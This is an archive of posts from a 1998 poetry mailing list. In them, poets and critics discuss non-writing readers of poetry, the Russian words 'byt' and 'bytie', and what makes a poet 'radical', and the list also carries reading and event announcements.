first, there are persons active in other arts who read poetry (I guess that is analogous to academics in non-literary departments). second, there really are people who just read the stuff. although (as K Koch quotes somebody in the most recent NY Review) writing is an intense form of reading, it is not necessary for all readers to write. it is possible to read poetry, including by living, contemporary poets, and not want or need to write it yourself. (it is true that in most civilizations there has always been a large overlap between readers and writers of poetry, and literature has always been disseminated partly through educational systems, but the basic point is that there are others out there.)

its too early in the morning for this to be as clear as I would like it to be, but let us not forget the non-writing reader.

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163. **Billy Little**
Re: technical difficulties
Thu 7 May 1998

maybe we could commission that goy rotin, henri rotin could do a monument for the unknown reader, rotoreader, they never write to me sometimes i have to write a poem backwards and read it in the mirror to understand it daed si luap daed si adnil on daed eht evil gnol

↑ Index

164. **Aviva000**
Non-Writing Readers of Poetry
Thu 7 May 1998

In a message dated 98-05-07 20:40:54 EDT, you write:

> *let us not forget the non-writing reader.*

Increasingly, I'm hearing from non-writing friends, acquaintances, and other people (who I've crawled out of my deep winter hole to speak with) that they read poetry. A dancer I met at the local bookstore (she was buying a blank book for a friend's birthday) listened to a conversation I was having with the storeowner about various Szymborska translators. At the point that I mentioned my struggles with Rilke translations, she joined in by saying, "I read Rilke almost every night last year. I love his work. I'm not sure what my year would have been like if I'd not had Rilke." This dancer is completely immersed in her teaching and performing, and has nothing to do with the "literary" world (in all its silly permutations), but simply read this poetry of her own volition. She was certainly not reading Rilke for help with her writing craft, nor was she stimulated to read poetry by the people around her. This is a single instance of the many conversations I've had with folks who find their way to a poet (or poets) for personal, rather than "artistic" reasons.

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165. **Brent Long**
Re: Non-Writing Readers of Poetry
Thu 7 May 1998

What do you mean "She was certainly not reading Rilke for help with her writing craft"????? Something wrong with Rilke's craft, Aviva???

At 11:38 PM 5/7/98 EDT, you wrote:
>In a message dated 98-05-07 20:40:54 EDT, you write:
>
>> let us not forget the non-writing reader.
>>
>
>Increasingly, I'm hearing from non-writing friends, acquaintances, and other
>people (who I've crawled out of my deep winter hole to speak with) that they
>read poetry. A dancer I met at the local bookstore (she was buying a blank
>book for a friend's birthday) listened to a conversation I was having with
the
>storeowner about various Szymborska translators. At the point that I
>mentioned my struggles with Rilke translations, she joined in by saying, "I
>read Rilke almost every night last year. I love his work. I'm not sure what
>my year would have been like if I'd not had Rilke." This dancer is
completely
>immersed in her teaching and performing, and has nothing to do with the
>"literary" world (in all its silly permutations), but simply read this poetry
>of her own volition. She was certainly not reading Rilke for help with her
>writing craft, nor was she stimulated to read poetry by the people around
her.
>This is a single instance of the many conversations I've had with folks who
>find their way to a poet (or poets) for personal, rather than "artistic"
>reasons.
>
>

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166. **R. Gancie**
copula & contigency
Fri 8 May 1998

"Where is that huge piece of method subjected to critique and clarification [---that method] that leads from the intuitively given surrounding world to the idealization of mathematics and to the interpretation of these idealizations as objective being?"---Edmund Husserl-The Crisis of the European Sciences and Transcendental Phenomenology-cp

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167. **Henry**
Re: technical difficulties
Fri 8 May 1998

I'll wash your socks, Danny, if it makes me a bytter Pyshkin. The irony of bytie is that byt poets become very byt on the stryt because they avoid the dad-byt chores that make up practycal exystence in this bad-byd wyrld of urs. They nyd encyrygment to gyt on with bytie. As Julia Kunina puts it in a recynt poym:

...ottogo chto pyechali smertyelna
i razyedaet tkani kak lischaii protalin.

translated loosely:
Because grief is fatal, the fabric fades to a patchy scurf.

(I'm wrytyng a mymoir called "I Was Bytie Poet Who Lost His Ie")

- Hyrnry Gyld

↑ Index

168. **F. W. Perrella**
Web Del Sol - What's New Page
Fri 8 May 1998

You're invited to visit the What's New page at Web Del Sol http://webdelsol.com/solhome.htm and check out the Conjunctions literary magazine highlighted there. Edited by Ben Morrow at Bard College, the current issue #29 is called Tributes - American Writers on American Writers.

Another magazine, V_trope, is highlighted - its inaugural issue features works by Brent Hendricks, John Yau, and Gordon Lish.

Chinese writer Can Xue is also newly featured at the What's New page.

There's plenty to see and plenty to comment on at Web Del Sol; your email feedback is much appreciated. Thanks.

Anne Perrella

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169. **Mark Prejsnar**
technique and fury
Fri 8 May 1998

---

*The best technique is that which breaks apart.

*The best technique is that which disturbs.

*The best formal approach is that which cannot be easily taught (that which is taut); and which does not easily find approbation within the inert structures of insitutions (be they universities, or Nedge).

*Poetry itself is a strange mystery, to those who look for meaning.

*I never cease to amazed at the profound conservatisim of folks on this list, which was supposedly founded "not as a general discussion of poetics, but of new and innovative formal approaches" etc. etc.

..peculiar

↑ Index

170. **henry**
Re: technique and fury
Fri 8 May 1998

On Fri, 8 May 1998 10:01:09 -0400 Mark Prejsnar said:
>*The best technique is that which breaks apart.
>
>*The best technique is that which disturbs.
>
>*The best formal approach is that which cannot be easily taught (that
>which is taut); and which does not easily find approbation within the
>inert structures of insitutions (be they universities, or Nedge).

Nedge isn't an institution, it's a magazine. Nor does it seem to be inert - it's a pile of correspondence and ms. that seethes and boils with unanswered SASEs and flows around my little nedge work area with sharp paper edges and paper clips and stuff. It's my byt & I can barely cop with it. I don't get easy approbation from SPD either, or other inert institutions of the vast and bulbous avant-garde.
>
>*I never cease to amazed at the profound conservatisim of folks on this
>list, which was supposedly founded "not as a general discussion of
>poetics, but of new and innovative formal approaches" etc. etc.

Where do the poetics of Tom McGrath fit in with your politico-poetic recipe, Mark? Look at all that rhyme and meter!! He's more left wing than you'll ever be. Rage on.... - Henry G

↑ Index

171. **Aviva000**
Re: Non-Writing Readers of Poetry
Fri 8 May 1998

In a message dated 98-05-07 23:54:05 EDT, you write:

> *What do you mean "She was certainly not reading Rilke for help with her writing craft"????? Something wrong with Rilke's craft, Aviva???*

Brent, Rilke's craft is just fine. The dancer (Tracy), on the other hand, has a problem with her writing craft. She has none. None at all. She dances. She doesn't write. So, she reads Rilke for the various aesthetic, spiritual and other pleasures that his writing offers. She doesn't read Rilke, as I have done from time to time, for ideas on how I might write better poetry. That's all I was trying to say!

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172. **Aviva000**
conservatism on this list...
Fri 8 May 1998

In a message dated 98-05-08 10:01:45 EDT, you write:

> *the profound conservatisim of folks on this list,*

Mark, which instances of conservatism (for example, or most recently) are you thinking of?

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173. **DANIEL L. COLLIER**
Re: technical difficulties
Fri 8 May 1998

Henry, et al,

I ran "byt i bytie" by the translation staff. They enjoyed it.

Byt is fairly easy; you're on the mark with everyday, ordinary life. Both people I asked mentioned first cooking, then laundry... then asked me what "drabness" meant and said "yes, that's it: drabness, ordinariness, mundane" or something to that effect.

Does this mean you're a proto-laundrist poet? (I should send you my socks... we do our laundry in our teeny-tiny tub and it's not much fun.) The more romantic overtones implied in your first mention of byt do not at all figure into the

Russian word; getting onto or thinking about getting onto the street is more appropriate to ideas of "beat" in the American cultural-literary sense (or to a whole swath of 1980's hard rock & heavy metal lyrics).

The concept of a "byt" poet could maybe work into Zen sidewalk sweeping etc., or maybe could be taken into more interesting directions... what's it mean to define yourself as the poet of drab, ordinary, everyday, underwear-scrub-in-the-tiny-tub existence? (There is no valorization of the everyday in the Russian sense of the word.)

Bytie is more difficult. "Eternity" doesn't work. Bytie means "life" in a philosophical sense, and we tried "sense of life", "nature of life", and "understanding of life" without success.

One of our dictionaries says: "being, existence, objective reality" [Yuri says the last only occasionally applies]. Then cites the fundamental Marxist bit "Social being determines one's consciousness." It's also in the name of the first book of the bible: "kniga bytia", Genesis.

The point of the title, according to translator Yuri, is that Byt and Bytie are opposites which overlap in sound and meaning and cannot exist without each other. In Russian the title is playful, evocative and beautiful.

All of this may be a bit of an aside, but I enjoyed it. And if it makes Erik laugh some more, my job is done.

Danny
[redacted] -work
[redacted] - home

"Spring! Where's my head?" -- Viktor Tsoi

>byt? What's that? Russian for "boot" ? :-}

I believe it's Russian for "everyday life". Viktoria Schweitzer has a biography of Tsvetaeva titled something like "Byt i bytie" or Everydayness and eternity. Byt I think actually means something a little stronger - drabness, ordinariness, mundane.,.. it's pronounced sort of like "beat", appropriately. I'm a proto-byt poet myself. - HG

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174. Gary Sullivan
"*radical*"
Fri 8 May 1998

The first cite for this word in Webster's 3rd:

[ME, fr. LL _radicalis_, fr. L _radicula_, _radic-_, _radix_ root + _-alis_ -al -- more at ROOT] 1: of or relating to the root: proceeding directly from the root . . .

* * *

I've thought a lot about this word, about one of its current meanings as well as its etymological root(s). What can it possibly mean, today, with respect to aesthetics, lifestyles & politics . . . ?

Does this word have any contemporary value? Is it genuinely descriptive? Is poetry radical . . . aesthetically or with respect to "vision" . . . today? I can only think of a handful of poets, of the last twenty, thirty years, I would even vaguely consider calling "radical," and I'm not sure I'd even go so far as to call THEM radical. I don't think, for instance, much of the work under the microscope in _Radical Artifice_ is genuinely radical . . . I think the writing of Andrews, Bernstein, Drucker, Hejinian, McCaffery is ultimately very safe, aesthetically, if not (compared to other things) particularly popular . . . and certainly the lives (context) out of which this work has arrived has been equally safe . . . which is not to say I don't enjoy this writing or respect how anyone lives their life . . . what I know of anyone's, anyway . . . just that I don't see any of it transgressing or arriving beyond any significant pre-established boundaries . . .

While I don't think the radical/conservative distinction is utterly without value, I'm not convinced it's of any significant value with respect to poetry-making in late 20th century western culture. I don't, in other words, understand the value of manufacturing camps of poets ("radical" v. "conservative") . . . if what so-called "radical" poets are doing, essentially, is largely a form of habitual attendance to aesthetics. (Which has been itself an habitual MO for at least a century).

Can someone with an investment in the Radical/Conservative Poetics distinction please elaborate their investment? With specific examples & elaboration? It'd help me think further about this.

Thanks,

Gary Sullivan
[redacted]

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175. **Robert Hale**
Re: "radical"
Fri 8 May 1998

THE ERRORS OF THE FRENCH REVOLUTION

INSTEAD OF DESTROYING THE OLD STATE THE FRENCH SHOULD HAVE BUILT ON THE FOUNDATION THEIR ANCESTORS HAD LEFT THEM

YOU MIGHT, IF YOU PLEASED, have profited of our example and have given to your recovered freedom a correspondent dignity. Your privileges, though discontinued, were not lost to memory. Your constitution, it is true, whilst you were out of possession, suffered waste and dilapidation; but you possessed in some parts the walls and in all the foundations of a noble and venerable castle. You might have repaired those walls; you might have built on those old foundations. Your constitution was suspended before it was perfected, but you had the elements of a constitution very nearly as good as could be wished.

And so goes the opening lines of Edmund Burke's "Reflections" -- the foundation of modern conservatism. This is the definition, still very relevant and functional today, that some of those you mention work from/against in their various strategies -- Andrews, from instance.

Erode and destroy the old oppressive systems that don't want to change because it would involve questioning, compromising their power base, their way of life, their order of things.

At 12:09 PM 5/8/98 -0400, you wrote:
>The first cite for this word in Webster's 3rd:
>
>[ME, fr. LL _radicalis_, fr. L _radicula_, _radic-_, _radix_ root + _-alis_ -al
>-- more at ROOT] 1: of or relating to the root: proceeding directly from the
>root . . .
>
>* * *
>
>I've thought a lot about this word, about one of its current meanings as well
>as its etymological root(s). What can it possibly mean, today, with respect to
>aesthetics, lifestyles & politics . . . ?
>
>Does this word have any contemporary value? Is it genuinely descriptive? Is
>poetry radical . . . aesthetically or with respect to "vision" . . . today? I
>can only think of a handful of poets, of the last twenty, thirty years, I would
>even vaguely consider calling "radical," and I'm not sure I'd even go so far as
>to call THEM radical. I don't think, for instance, much of the work under the
>microscope in _Radical Artifice_ is genuinely radical . . . I think the writing
>of Andrews, Bernstein, Drucker, Hejinian, McCaffery is ultimately very safe,
>aesthetically, if not (compared to other things) particularly popular . . . and
>certainly the lives (context) out of which this work has arrived has been

>equally safe . . . which is not to say I don't enjoy this writing or respect
>how anyone lives their life . . . what I know of anyone's, anyway . . . just
>that I don't see any of it transgressing or arriving beyond any significant
>pre-established boundaries . . .
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>While I don't think the radical/conservative distinction is utterly without
>value, I'm not convinced it's of any significant value with respect to
>poetry-making in late 20th century western culture. I don't, in other words,
>understand the value of manufacturing camps of poets ("radical" v.
>"conservative") . . . if what so-called "radical" poets are doing, essentially,
>is largely a form of habitual attendance to aesthetics. (Which has been itself
>an habitual MO for at least a century).
>
>Can someone with an investment in the Radical/Conservative Poetics distinction
>please elaborate their investment? With specific examples & elaboration? It'd
>help me think further about this.
>
>Thanks,
>
>Gary Sullivan
>[redacted]
>
>

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176. **Judy Roitman**

Re: "radical"

Fri 8 May 1998

> *just*
> *that I don't see any of it transgressing or arriving beyond any significant*
> *pre-established boundaries . . .*

As a kid I was very struck by Kierkegaard's notion of the knight of faith which, in my no doubt inaccurate version, is the person so spiritually radical in the lack of taint of ego as to seem completely ordinary.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area

code ----------
http://www.math.ukans.edu/~roitman/

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177. Mark Leahy
query -- Sayre
Fri 8 May 1998

---

just a short question to the list;
 is anyone aware where Henry M.Sayre, the author of _The Object of Performance_, (Univ of Chicago, 1989) is based now?
is he attached to an academic institution?

thanks in anticipation
Mark

Mark Leahy
School of English
University of Leeds
LS2 9JT
United Kingdom
tel: 0044 (0)113 2334739
fax: 0044 (0)113 2334774

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178. Maria Damon (Maria Damon)
Re: "radical"
Fri 8 May 1998

---

gary, i have no answer but i find this line of questioning very useful indeed.--md

At 12:09 PM 5/8/98, Gary Sullivan wrote:
>The first cite for this word in Webster's 3rd:
>
>[ME, fr. LL _radicalis_, fr. L _radicula_, _radic-_, _radix_ root + _-alis_ -al
>-- more at ROOT] 1: of or relating to the root: proceeding directly from the
>root . . .
>
>* * *
>
>I've thought a lot about this word, about one of its current meanings as well
>as its etymological root(s). What can it possibly mean, today, with respect to
>aesthetics, lifestyles & politics . . . ?

>
>Does this word have any contemporary value? Is it genuinely descriptive? Is
>poetry radical . . . aesthetically or with respect to "vision" . . . today? I
>can only think of a handful of poets, of the last twenty, thirty years, I would
>even vaguely consider calling "radical," and I'm not sure I'd even go so far as
>to call THEM radical. I don't think, for instance, much of the work under the
>microscope in _Radical Artifice_ is genuinely radical . . . I think the writing
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>aesthetically, if not (compared to other things) particularly popular . . . and
>certainly the lives (context) out of which this work has arrived has been
>equally safe . . . which is not to say I don't enjoy this writing or respect
>how anyone lives their life . . . what I know of anyone's, anyway . . . just
>that I don't see any of it transgressing or arriving beyond any significant
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>poetry-making in late 20th century western culture. I don't, in other words,
>understand the value of manufacturing camps of poets ("radical" v.
>"conservative") . . . if what so-called "radical" poets are doing, essentially,
>is largely a form of habitual attendance to aesthetics. (Which has been itself
>an habitual MO for at least a century).
>
>Can someone with an investment in the Radical/Conservative Poetics
distinction
>please elaborate their investment? With specific examples & elaboration? It'd
>help me think further about this.
>
>Thanks,
>
>Gary Sullivan
>[redacted]

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179. **Henry Gould**

Re: radical

Fri 8 May 1998

Last post for a while, then I will be quiet.
Just some thoughts on "radical"

A radix or root works paradoxically: by digging deep underground it sends up flowers and fruit high in the air.

In MERCHANT OF VENICE the character Gratiano is on the surface a brutal, vulgar, bigoted, obnoxious boor. But at the root of his name is "grace". Gratiano is like the bull in the china shop - both consciously & inadvertently he upsets the careful and hypocritical veneers and repressions of the main characters; he is a sort of truth-teller. By naming him Gratiano Shakey is being ironic - epitomizing gracelessness - but perhaps also characterizing the RADICAL working of grace, as truth breaking down the constructs of human pride, fear, hypocrisy, self- delusion (all richly on display in the Merchant himself, Antonio).

Now the political poets out there will be thinking, O God, another traditionalist Burkean deal about human nature... what does this have to do with radical politics?

Imagine this: democracy - real commonwealth - HAS to be based on a deep or radical recognition of human weaknesses. WE DEPEND ON EACH OTHER to eat, live, love, divest ourselves of our illusions. How many utopias and revolutions are based on truly reactionary IDEALS of Superman the worker God the doer of Great Deeds the mighty Just One etc... by the same token, radical life/poetry HAS to be based on a deep recognition of human capabilities. How many years go by under the dead weight of complacent and feeble establishments... "A sower went out to sow. The seed fell on poor ground...etc....The seed is the word. Some hear it gladly - but because they have NO ROOT IN THEMSELVES, they quickly fall away..." "let the dead bury their own dead..."

Radical poetry takes its proud (Luciferean) freedom and plants it humbly back in the compost of human problems and questions. That's what makes it radical, and readable. There is also radically beautiful poetry, so overwhelmed with itself that its beauty creates a radical relation with the byt world of mediocrity, the safe, the humdrum. So free & beautiful as to constitute a threat not only to the byt world but to byt talk about poetry and this byt list and yours truly byt

Henry G

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180. **Gary Sullivan**

Re: "radical"

Fri 8 May 1998

"As a kid I was very struck by Kierkegaard's notion of the knight of faith which, in my no doubt inaccurate version, is the person so spiritually radical in the lack of taint of ego as to seem completely ordinary."

This is a lovely thought, whether yours or Soren's, but I think it can be used, and no doubt will be used, to apply to anyone. It can also be used dismissively, like EST's "You say you didn't get it? You got it" or Huey Lewis's "It's hip to be square." Because the radical/conservative distinction relies on definition for its authority, I want definition in any defense to challenges to it. The above isn't, to me, definitive . . . yet. Could you maybe give me an example of poets who are so radical as to seem completely ordinary, and contrast this to poets who seem completely ordinary but whose ordinariness is not causally related to their being radical? More significantly, could you explain how their radicalness transforms itself into the outward appearance of ordinariness? What that process is?

"Andrews for instance . . . Erode and destroy the old oppressive systems that don't want to change because it would involve questioning, compromising their power base, their way of life, their order of things."

What oppressive system can Andrews's writing be said to erode? His work and career arrive from the context of capitalism and literary production/career-making and readings of same are subsumed by the same context into which they arrived, having made, at best, minor ripples on the surface of any system, oppressive or otherwise. Some of his books are mass-produced, & if I'm not mistaken replete with validating blurbs from respectable, authoritative contemporaries in positions of influence and power relative to the canonization, reading and/or dissemination of literary product. His readings generally cost money to attend, and are introduced with validating verbal montages of awards, publications, career highlights and blurbs garnered throughout his near-life-long navigation through western literary society. What success or visibility he has had has been the result of hard work (writing well) and socially acceptable career attendance. Has his work thrown into question his own power base, his own way of life, his own order of things? Andrews has taught at Fordham University for the last 20, 30 years. His name pops up in _The New Princeton Encyclopedia of Poetry and Poetics_. His inclusion in this volume does not seem to erode the thing's power, nor (more significantly) the system which gave rise to it. If anything, it helps to support it, lending it a kind of "street cred" among those of us who do recognize value in Andrews's work. Could you maybe elaborate, explaining specifically what and how you see Andrews's writing destroying and eroding?

Please note that I'm not questioning value, in general, in Andrews's writing and career; I'm questioning the ultimate value of reading it through the radical vs. conservative lens.

Thanks again,

Gary Sullivan
[redacted]

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181. William Burmeister Prod

Re: "radical"

Fri 8 May 1998

We still have our own Robespierres running around someplace. We have academic Robespierres, coorporate Robespierres, government Robespierres, legal Robespierres, social Robespierres, ... Get it? Isn't conservatism, in plain human terms, something to be stumbled upon? How many of our conservatives have read Edmund Burke or any other conservative writings I wonder?

The center no longer holds according to what one reads; they just don't know it yet.

I wonder what Hoon would say now?

I have to bolt--I think I hear one of my oxen being gored and all that.

The Emperor of ice cream, one of the neo non-conservatives.

On May 8, 9:54am, Robert Hale wrote:
> Subject: Re: "radical"
> THE ERRORS OF THE FRENCH REVOLUTION
>
> INSTEAD OF DESTROYING THE OLD STATE THE FRENCH SHOULD HAVE BUILT ON THE
> FOUNDATION THEIR ANCESTORS HAD LEFT THEM
>
> YOU MIGHT, IF YOU PLEASED, have profited of our example and have
> given to your recovered freedom a correspondent dignity. Your privileges,
> though discontinued, were not lost to memory. Your constitution, it is true,
> whilst you
> were out of possession, suffered waste and dilapidation; but you possessed
> in some parts the walls and in all the foundations of a noble and venerable
> castle. You might have repaired those walls; you might have built on those
> old foundations. Your constitution was suspended before it was perfected,
> but you had the elements of a constitution very nearly as good as could be
> wished.
>
>
> And so goes the opening lines of Edmund Burke's "Reflections" -- the
> foundation of modern conservatism. This is the definition, still very

> relevant and functional today, that some of those you mention work
> from/against in their various strategies -- Andrews, from instance.
>
> Erode and destroy the old oppressive systems that don't want to change
> because it would involve questioning, compromising their power base, their
> way of life, their order of things.

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182. Robert Zamsky

Re: query -- Sayre

Fri 8 May 1998

I don't if he's there any more, but Professor Sayre used to teach at Oregon State University.

Robert Zamsky

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183. Judy Roitman

Re: "radical"

Fri 8 May 1998

> *Could you maybe*
> *give me an example of poets who are so radical as to seem completely ordinary,*

Eigner

Creeley

Neidecker (sp? I never can get it right)

> *and contrast this to poets who seem completely ordinary but whose ordinariness*
> *is not causally related to their being radical?*

any recent poet laureate

But the real issue is whether somebody does something to be outrageous or because it is simply the next obvious step to take. So, for example, the work of someone like Susan Howe or Mei-Mei Bersengrugge is, in that sense, extraordinarily ordinary.

Also note, "ordinary" does not mean "platitudinous."

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,

1927-1996 ---------- Note new area code ----------
http://www.math.ukans.edu/~roitman/

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184. **dbkk**
Marianne Moore rocks at SPT
Fri 8 May 1998

Small Press Traffic presents

A talk by Megan Schoerke: ³New Light on Marianne Moore²

TONIGHT
Friday, May 8, 7:30 p.m.
New College Cultural Center
766 Valencia Street
Free

Megan Schoerke's fresh take on the "arch-modernist" Marianne Moore (1887-1972) begins with an unusual source, Moore's letters to her family held at Philadelphia's Rosenbach Library and Museum and now in print. The correspondence shows to what degree Moore's poetry subverts and parodies the elitism of High Modernism of the first half of the 20th Century, and the heavy Presbyterianism in which her close-knit family was imbued. Schoerke's research into Moore's process reveals her as a textual cousin of Gertrude Stein, a radical poet whose experiments with "coding" and encryption allow a doubleness of reception made singularly clear to us for the first time.

Megan Schoerke is an assistant professor of English at San Francisco State University. Her essay "Efforts of Affection: Marianne Moore¹s Elegies for Her Mother" will be published in the forthcoming Critical Essays on Marianne Moore, edited by Elizabeth Gregory. We nabbed her in the nick of time, as she has recently won a year-long writing fellowship at the Tanner Humanities Center at the University of Utah.

This event is part of "Communicado: Real Poetry for Real People," a talk series sponsored by the California Council for the Humanities.

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185. **Robert Hale**
Re: "radical"
Fri 8 May 1998

My original intention was to historicize the definition of "radical" through an opposite, and the Burke seemed fitting because it is the foundational text of conservatism that helped to legitimize the culture and politics that Bernstein, Andrews et al (and other schools, poets, factions) worked from/against (rehashed many times here). Perhaps this doesn't make them radicals in your book. But on a macro level, I think it does. Can we group people who write and teach with people who've fought tyrants and died for it? And call them all radicals? Obviously, we need to stay specific and I appreciate your questioning in that respect. I owe you a political reading of Andrews, but you might want to begin with the AERIAL issue devoted to Andrews -- otherwise, the value, "in general," as you say, is its radicality. Do you agree? If not, what is the value?

At 02:25 PM 5/8/98 -0400, you wrote:
>"As a kid I was very struck by Kierkegaard's notion of the knight of faith
>which, in my no doubt inaccurate version, is the person so spiritually radical
>in the lack of taint of ego as to seem completely ordinary."
>
>This is a lovely thought, whether yours or Soren's, but I think it can be used,
>and no doubt will be used, to apply to anyone. It can also be used
>dismissively, like EST's "You say you didn't get it? You got it" or Huey
>Lewis's "It's hip to be square." Because the radical/conservative distinction
>relies on definition for its authority, I want definition in any defense to
>challenges to it. The above isn't, to me, definitive . . . yet. Could you maybe
>give me an example of poets who are so radical as to seem completely ordinary,
>and contrast this to poets who seem completely ordinary but whose ordinariness
>is not causally related to their being radical? More significantly, could you
>explain how their radicalness transforms itself into the outward appearance of
>ordinariness? What that process is?
>
>"Andrews for instance . . . Erode and destroy the old oppressive systems that
>don't want to change because it would involve questioning, compromising their
>power base, their way of life, their order of things."
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>What oppressive system can Andrews's writing be said to erode? His work and
>career arrive from the context of capitalism and literary
>production/career-making and readings of same are subsumed by the same

context
>into which they arrived, having made, at best, minor ripples on the surface of
>any system, oppressive or otherwise. Some of his books are mass-produced, &
if
>I'm not mistaken replete with validating blurbs from respectable, authoritative
>contemporaries in positions of influence and power relative to the
>canonization, reading and/or dissemination of literary product. His readings
>generally cost money to attend, and are introduced with validating verbal
>montages of awards, publications, career highlights and blurbs garnered
>throughout his near-life-long navigation through western literary society.
What
>success or visibility he has had has been the result of hard work (writing
>well) and socially acceptable career attendance. Has his work thrown into
>question his own power base, his own way of life, his own order of things?
>Andrews has taught at Fordham University for the last 20, 30 years. His name
>pops up in _The New Princeton Encyclopedia of Poetry and Poetics_. His
>inclusion in this volume does not seem to erode the thing's power, nor (more
>significantly) the system which gave rise to it. If anything, it helps to
>support it, lending it a kind of "street cred" among those of us who do
>recognize value in Andrews's work. Could you maybe elaborate, explaining
>specifically what and how you see Andrews's writing destroying and eroding?
>
>Please note that I'm not questioning value, in general, in Andrews's writing
>and career; I'm questioning the ultimate value of reading it through the
>radical vs. conservative lens.
>
>Thanks again,
>
>Gary Sullivan
>[redacted]
>
>

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186. **ScoutEW**
Re: "rationical"
Fri 8 May 1998

In a message dated 5/8/98 4:56:05 PM, you wrote:

<<As a kid I was very struck by Kierkegaard's notion of the knight of faith which, in my no>>

as a kid i played baseball and watched tv and drank pepsi and anyways radical is only a word

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187. **Linda Russo**
Re: "radical"
Fri 8 May 1998

> *I don't think, for instance, much of the work under the microscope in _Radical Artifice_ is genuinely radical . . . I think the writing of Andrews, Bernstein, Drucker, Hejinian, McCaffery is ultimately very safe, aesthetically, if not (compared to other things) particularly popular . . . and certainly the lives (context) out of which this work has arrived has been equally safe . . . which is not to say I don't enjoy this writing or respect how anyone lives their life . . . what I know of anyone's, anyway . . . just that I don't see any of it transgressing or arriving beyond any significant pre-established boundaries . . .*

I'm interested, especially in your use of the present progressive "transgressing" & "arriving" in conjunction with commenting on the "safe" place "out of which this work has arrived" -- or rather, has arisen? I don't mean to do picky proofreading, but it brings me to a question that i've been wanting to broach to the list anyway!

is "no longer transgressing" a quality of work that has
arrived -- ?
and i'm wondering if this is the difference between a "poetics"
and an "aesthetics" __?

I don't believe there's such a thing as a radical aesthetics, & i'm wondering if that's in part what you're critiquing, since most of our examples have been of established writers who "were" (i would argue) radical & are now "lim(b)inal" or have at least recognizable "limbs" attached to their works (criticism or stereotyping) which point back at them, identity their work as ecompassing a certain aesthetic -- ? (i hope this image, contorted as it is in my brain, translates here)

does a dynamic (or radical) poetic eventually erode or settle into an aesthetic? Only then, i think, can i justify classifying a series of questions & attempted answers (a poetics?) a or several writer(s) proposed almost 2 decades ago now (i.e. lang po so-called) as not "transgressing . . . pre-established boundaries" -- as merely existing as aethetics, as having ceased to employ its questioning/heuristic function.

I'm confused also by "pre-established boundaries" -- scalapino & hejinian, for example, did and do "cross boundaries" when it comes to ideologies of the self in relation to experience --

LH: "All my observations are made from within the matrix of possibly infinite contingnecies and contextualities. This sense of contingency is ultimately intrinsic to my experience of the self, as a relationship rather than an existence" (1988).

This may seem like old hat to a younger generation schooled in this thought (and hence it appears in our work as an aesthetic), but i think Hejinian was taking poetry to a different place, by applying this (albeit not so original) thought to poetry -- she (and others) propose a radical rethinking of the self, of poetic voice, of experience, etc.

as for its value -- it depends on what you mean by "significant" -- i.e. to who, to what discourse?

> *I don't, in other words,*
> *understand the value of manufacturing camps of poets ("radical" v. "conservative") . . . if what so-called "radical" poets are doing, essentially, is largely a form of habitual attendance to aesthetics. (Which has been itself an habitual MO for at least a century).*

begs the question again, which i'd like to raise -- what's the difference between poetics and aesthetics?

Linda Russo

↑ Index

188. **Linda Russo**
also Re: "radical"
Fri 8 May 1998

On Fri, 8 May 1998, Gary Sullivan wrote:

> *"As a kid I was very struck by Kierkegaard's notion of the knight of faith which, in my no doubt inaccurate version, is the person so spiritually radical in the lack of taint of ego as to seem completely ordinary."*

I noticed that in Gary Sullivan's response the "taint of ego" got brushed aside:

> *Could you maybe*
> *give me an example of poets who are so radical as to seem completely ordinary, and contrast this to poets who seem completely ordinary but whose ordinariness is not causally related to their being radical? More significantly, could you explain how their radicalness transforms itself into the outward appearance of ordinariness? What that process is?*

or rather the question could be "egoless so as to seem completely ordinary"? a lot of innovative work is radical at the expense of the ego (in ideology, in writing -- but not in reality!). But this is probably beside the point.

thanks, Gary, for raising questions which are especially pertinent to one as myself making an investment in an academic structure as a means of income & incoming thoughts on poetry --

> *"Andrews for instance . . . Erode and destroy the old oppressive systems that don't want to change because it would involve questioning, compromising their power base, their way of life, their order of things."*
>
> *What oppressive system can Andrews's writing be said to erode? His work and career arrive from the context of capitalism and literary production/career-making and readings of same are subsumed by the same context into which they arrived, having made, at best, minor ripples on the surface of any system, oppressive or otherwise. Some of his books are mass-produced, & if I'm not mistaken replete with validating blurbs from respectable, authoritative contemporaries in positions of influence and power relative to the canonization, reading and/or dissemination of literary product. His readings generally cost money to attend, and are introduced with validating verbal montages of awards, publications, career highlights and blurbs garnered throughout his near-life-long navigation through western literary society. What success or visibility he has had has been the result of hard work (writing well) and socially acceptable career attendance. Has his work thrown into question his own power base, his own way of life, his own order of things? Andrews has taught at Fordham University for the last 20, 30 years. His name pops up in _The New Princeton Encyclopedia of Poetry and Poetics_. His inclusion in this volume does not seem to erode the thing's power, nor (more significantly) the system which gave rise to it. If anything, it helps to support it, lending it a kind of "street cred" among those of us who do recognize value in Andrews's work. Could you maybe elaborate, explaining specifically what and how you see Andrews's writing destroying and eroding?*
>
> *Please note that I'm not questioning value, in general, in Andrews's writing and career; I'm questioning the ultimate value of reading it through the radical vs. conservative lens.*
>
> *Thanks again,*
>
> *Gary Sullivan*
> [redacted]

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189. **JBCM2**
Re: also Re: "radical"
Fri 8 May 1998

In a message dated 5/8/98 7:22:53 PM Eastern Daylight Time, [redacted] writes:

<< > in the lack of taint of ego as to seem completely ordinary."

I noticed that in Gary Sullivan's response the "taint of ego" got brushed aside:
>>
what does this mean?

Joe Brennan

↑ Index

190. **JBCM2**
Re: jobs
Fri 8 May 1998

In a message dated 5/8/98 7:48:39 PM Eastern Daylight Time, [redacted] writes:

<<
From the "Shorts" section of Thursday's Financial Times

But aspiring young Plaths and Eliots should not be without respect, she hastened to add. "What we are not looking for though is people with ego problems. Good employees always remember both that the client's needs come first and that they are part of a major organization with an international reputation," she cautioned.

is this the ego taint?

jb

↑ Index

191. **Karen Kelley**
Re: Non-Writing Readers of Poetry
Fri 8 May 1998

> *I've found the best response to my work coming from non-writin' artists in other disciplines.*

I've certainly found this, too--and my favorite things to look at aren't poems, but paintings. I always tell my students to pay close attention to the other arts. There are things to learn in them that may seem too simple, too bald in one's

own art. Maybe it's just a way to refresh the mystery that seems to diminish slightly as one works in a particular medium for a while.

↑ Index

192. toddbaron

Re: "radical","radical"

Fri 8 May 1998

Oppen

There is nothing more "radical"
than not concerning one'self
with the notion of "radical".

There is
some odd form
of communication.

↑ Index
